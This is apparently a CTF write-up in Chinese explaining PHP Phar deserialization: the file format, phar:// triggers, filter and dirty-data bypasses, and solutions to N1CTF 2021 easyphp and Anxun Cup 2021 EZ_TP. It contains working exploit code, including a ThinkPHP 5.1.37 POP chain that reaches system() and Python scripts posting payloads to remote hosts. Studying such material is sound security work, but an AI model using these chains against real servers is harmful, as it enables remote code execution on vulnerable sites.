淺談Phar反序列化漏洞利用:N1CTF 2021 easyphp & 安洵杯2021 EZ_TP
Phar
什麼是Phar
PHp ARchive, like a Java JAR, but for PHP.
phar(PHp ARchive)是類似於JAR的一種打包檔案。PHP ≥5.3對Phar字尾檔案是預設開啟支援的,不需要任何其他的安裝就可以使用它。
phar擴充套件提供了一種將整個PHP應用程式放入.phar檔案中的方法,以方便移動、安裝。.phar檔案的最大特點是將幾個檔案組合成一個檔案的便捷方式,.phar檔案提供了一種將完整的PHP程式分佈在一個檔案中並從該檔案中執行的方法。
說白了,就是一種壓縮檔案,但是不止能放壓縮檔案進去。
在做進一步探究之前需要先調整配置,因為對於Phar檔案的相關操作,php預設狀態是隻讀的(也就是說單純使用Phar檔案不需要任何的調整配置)。但是因為我們現在需要建立一個自己的Phar檔案,所以需要允許寫入Phar檔案,這需要修改一下php.ini
開啟php.ini
,找到phar.readonly
指令行,修改成:
phar.readonly = 0
即可。
Phar檔案格式
Phar檔案由四部分組成:
1.stub
stub是phar檔案的檔案頭,格式為xxxxxx<?php ...;__HALT_COMPILER();?>
,xxxxxx可以是任意字元,包括留空,且php閉合符與最後一個分號之間不能有多於一個的空格符。另外php閉合符也可省略。
2.manifest describing the contents
該區域存放phar包的屬性資訊,允許每個檔案指定檔案壓縮、檔案許可權,甚至是使用者定義的元資料,如檔案使用者或組。
這裡面的metadata以serialize形式儲存,為反序列化漏洞埋下了伏筆。
3.file contents
被壓縮的使用者新增的檔案內容
4.signature
可選,phar檔案的簽名,允許的有MD5, SHA1, SHA256, SHA512和OPENSSL.
這部分以GBMB
(47 42 4d 42)結尾。
需要注意,stub不一定要在檔案開頭。
利用方式
在2018 Black Hat上,安全研究員Sam Thomas
分享了議題It’s a PHP unserialization vulnerability Jim, but not as we know it
.
利用phar檔案會以序列化的形式儲存使用者自定義的meta-data這一特性,拓展了php反序列化漏洞的攻擊面。該方法在檔案系統函式(file_exists()、is_dir()等)引數可控的情況下,配合phar://偽協議,可以不依賴unserialize()直接進行反序列化操作。
也就是說,如果我們能控制傳入以下函式的引數,就有潛在的phar反序列化漏洞利用可能:
還有一些別的函式可用,可參考這篇:https://www.freebuf.com/articles/web/205943.html
試試看?
我們先來生成一個phar:
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //字尾名必須為phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設定stub
$o = new TestObject();
$phar->setMetadata($o); //將自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //新增要壓縮的檔案
//簽名自動計算
$phar->stopBuffering();
?>
注意這邊$o反序列化只會儲存資料不會儲存方法。執行完畢後,我們來觀察phar檔案的內容:
GBMB結尾的簽名以及序列化後的metadata清晰可見。
<?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar://phar.phar/test.txt';//既然是壓縮檔案,我們可以如此訪問其中的某個檔案
file_get_contents($filename);
?>
在上面的程式執行之後,我們會發現它輸出了“Destruct called”.這是由於phar被解析的時候,metadata被反序列化了,於是該例項被析構時呼叫__destruct函式。這便是反序列化漏洞的來由。
PHP ≥5.3預設支援phar檔案;而在PHP8中,該漏洞被修復:metadata不會自動被反序列化了。(來源請求)
phar://是什麼
前面提到,我們解析phar檔案常常使用phar://偽協議。CTF中,由於偽協議提供了一系列對於檔案的封裝協議,使得當源程式有可控的檔案包含函式時,我們有機會利用這些協議控制其返回值或是完成一些預料外操作(例如反序列化)。作為偽協議的一種,由於phar本質上就是一個特殊的壓縮檔案,所以phar://和zip://其實有很多相似之處,都可以訪問壓縮包中的子檔案,並且zip://需要檔案絕對路徑,phar://並不需要。(來源請求)
小tricks
繞過字首過濾
隊裡師傅的幾個example可以類比使用,都是在字首非phar://的情況下呼叫了phar://
compress.bzip2和compress.zlib
<?php
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';
file_get_contents($z);
php://
<?php
include('php://filter/read=convert.base64-encode/resource=phar://phar.phar');
file_get_contents('php://filter/read=convert.base64-encode/resource=phar://phar.phar');
簡單的繞過
我們可以利用stub部分字首任意的特性:
<?php
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //設定 stub,增加 gif 檔案頭
這可以繞過一部分對檔案頭的檢測。
繞過前後髒資料
由於簽名部分的存在,php會校驗檔案雜湊值,並檢查末尾是否為GBMB,如下是解析部分的原始碼:
https://github.dev/php/php-src
可見,如果末尾不是GBMB會直接導致解析失敗。
在CTF中利用該漏洞需要我們完成寫入/上傳phar,並呼叫檔案包含函式。我們知道一句話木馬由於有<?php ?>
這樣的頭尾標識存在,可以無視前後髒資料;然而對於phar,這樣的騷操作被簽名部分阻止了。有辦法繞過嗎?請參閱:https://www.php.net/manual/zh/phar.converttoexecutable.php
利用convertToExecutable函式,我們可以把phar檔案轉為其他格式的phar檔案,例如.tar和.zip格式。
我們以N1CTF easyphp為例子,這題允許我們寫入日誌,並且可以利用phar反序列化得到flag,難點在於日誌檔案前後有額外髒資料,會使得我們的phar檔案無法被解析。
然而如果以tar格式儲存phar,末尾的髒資料並不會影響解析(這是tar的格式決定的),而開頭的髒資料可以在製造phar檔案時就提前構造好(這樣這部分資料也會被納入簽名計算),寫入日誌時不必寫入這部分,而是令其與髒資料拼接形成合法的phar。exploit如下:
<?php
CLASS FLAG {
public function __destruct(){
echo "FLAG: " . $this->_flag;
}
}
$sb = $_GET['sb'];
$ts = $_GET['ts'];
$phar = new Phar($sb.".phar"); //字尾名必須為phar
**$phar = $phar->convertToExecutable(Phar::TAR); //會生成*.phar.tar**
$phar->startBuffering();
$phar->addFromString("Time: ".$ts." IP: [], REQUEST: [log_type=".$sb."], CONTENT: [", ""); //新增要壓縮的檔案
//tar檔案開頭是第一個新增檔案的的檔名,注意新增的檔案順序不要錯了
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設定stub
$o = new FLAG();
$o -> data = 'g0dsp3ed_1s_g0D';
$phar->setMetadata($o); //將自定義的meta-data存入manifest
//簽名自動計算
$phar->stopBuffering();
?>
把這個跑在本地web服務上,然後寫個指令碼(當時半夜趕製的很醜會留下一些垃圾檔案 求輕噴 隊裡師傅寫的乾淨多了):
import requests as rq
import json
import time
import random
ip = '<here_is_remote_ip>'
def generate_random_str(randomlength=16):
"""
生成一個指定長度的隨機字串
"""
random_str = ''
base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str
def new_one(offset):
rd = generate_random_str(4)
ts2 = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()+offset))
ts = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))
res = rq.get(url=f"http://127.0.0.1/test.php?sb={rd}&ts={ts2}") # 訪問本地生成phar
with open(f'{rd}.phar.tar',"rb") as f:
data = f.read()
data = data[70::]#去掉前面的冗餘部分以便和log前面拼接形成合法*.phar.tar
headers = {'content-type': 'application/x-www-form'} # 源文字
res = rq.post(url=f"http://43.155.59.185:53340/log.php?log_type={rd}",data=data) # 寫入日誌
res = rq.post(url=f"http://43.155.59.185:53340?file=phar://./log/{ip}/{rd}_www.log") # 反序列化
print(res.text)
for i in range(-30,30):#考慮本地和遠端的時間差異,這邊設定個30s的視窗期
new_one(i)
time.sleep(0.9)
"""生成的檔案長這樣
00000000: 5469 6d65 3a20 3230 3231 2d31 312d 3232 Time: 2021-11-22
00000010: 2030 363a 3533 3a31 3520 4950 3a20 5b5d 06:53:15 IP: []
00000020: 2c20 5245 5155 4553 543a 205b 5d2c 2043 , REQUEST: [], C
00000030: 4f4e 5445 4e54 3a20 5b5f 5f5f 5f5f 5f5f ONTENT: [_______
00000040: 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f ________________
00000050: 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f ________________
00000060: 5f5f 5f5f 3030 3030 3634 3400 0000 0000 ____0000644.....
00000070: 0000 0000 0000 0000 0000 0000 3030 3030 ............0000
00000080: 3030 3030 3032 3400 3134 3134 3636 3337 0000024.14146637
00000090: 3133 3300 3030 3233 3534 3320 3000 0000 133.0023543 0...
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
"""
不只是tar,還有別的格式:
https://www.php.net/manual/zh/phar.converttoexecutable.php
對應的程式碼:
<?php
$phar = $phar->convertToExecutable(Phar::TAR,Phar::BZ2);//會生成xxxx.phar.tar.bz2
$phar = $phar->convertToExecutable(Phar::TAR,Phar::GZ);//會生成xxxx.phar.tar.gz
$phar = $phar->convertToExecutable(Phar::ZIP);//會生成xxxx.phar.zip
POP鏈
POP(property oriented programming),說白了就是經過一連串的魔術方法/特殊方法呼叫達到特定目的的一種攻擊方式,本質是通過在呼叫這些方法的過程中又觸發了別的特殊方法,引發連鎖反應直到觸及目標。phar反序列化使得不存在unserilize函式時這樣的攻擊也能成功,這正是所謂“擴大攻擊面”。我們以剛剛結束的安洵杯2021 EZ_TP為例子。
網站使用ThinkPHP V5.1.37,網上已有現成的POP鏈,現在需要我們在沒有unserilize函式的情況下完成反序列化攻擊。
<?php
namespace app\index\controller;
use think\Controller;
class Index extends controller
{
public function index()
{
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12載初心不改(2006-2018) - 你值得信賴的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}
public function hello()
{
highlight_file(__FILE__);
$hello = base64_encode('Welcome to D0g3');
if (isset($_GET['hello'])||isset($_POST['hello'])) exit;
if(isset($_REQUEST['world']))
{
parse_str($_REQUEST['world'],$haha);
extract($haha);
}
if (!isset($a)) {
$a = 'hello.txt';
}
$s = base64_decode($hello);
file_put_contents('hello.txt', $s);
if(isset($a))
{
echo (file_get_contents($a));
}
}
}
parse_str()和extract()使得我們可以通過變數覆蓋完成檔案寫入與任意讀取,並且$a可以使用偽協議。那麼接下來的事情就理所應當了:往hello.txt裡寫入一個phar,metadata裡面放ThinkPHP 5.1.37 的反序列化利用鏈,完成RCE.(關於這個POP鏈的原理請參閱https://www.hacking8.com/bug-web/Thinkphp/Thinkphp-反序列化漏洞/Thinkphp-5.1.37-反序列化漏洞.html 講的很詳細)
<?php
namespace think{
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["godspeedyyds","xtxyyds"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request{
protected $hook = [];
protected $filter = "system";
protected $config = [
'var_method' => '_method',
'var_ajax' => '_ajax',
'var_pjax' => '_pjax',
'var_pathinfo' => 's',
'pathinfo_fetch' => [
'ORIG_PATH_INFO',
'REDIRECT_PATH_INFO',
'REDIRECT_URL'
],
'default_filter' => '',
'url_domain_root' => '',
'https_agent_name' => '',
'http_agent_ip' => 'HTTP_X_REAL_IP',
'url_html_suffix' => 'html',
];
protected $param = ['cat /y0u_f0und_It'];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
}
namespace think\process\pipes{
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct(){
$this->files = [new Pivot()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace{
use think\process\pipes\Windows;
$w = new Windows();
$p = new Phar('phar.phar');
$p->startBuffering();
$p->setStub('<?php __HALT_COMPILER();?>');
$p->setMetadata($w);
$p->addFromString("test", "12345");
$p->stopBuffering();
}
執行後生成phar,然後執行指令碼
import requests
import urllib.parse
import base64
import os
with open('phar.phar','rb') as f:
s = f.read()
s = urllib.parse.quote(base64.b64encode(s).decode())
# print(s)
remote = '<here_is_remote_ip>'
sess =requests.session()
r = sess.post(
url = f'http://{remote}/index.php/index/index/hello',
params={
'ethan':'<here_is_your_shell_command>'
},
data = {
'world':f'hello={s}&a=phar://./hello.txt'
}
)
print(r.text)
成功RCE
總結
phar反序列化提供了一種擴充套件反序列化漏洞攻擊面的方式、入口,所以基於unserialize()函式的各類攻擊tricks(比如引用繞過之類的)依然適用。鑑於phar反序列化漏洞設計版本較多,相信CTF比賽中它仍然會穩定出場。
參考資料:
https://www.php.net/manual/zh/class.phar.php
us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It
https://github.dev/php/php-src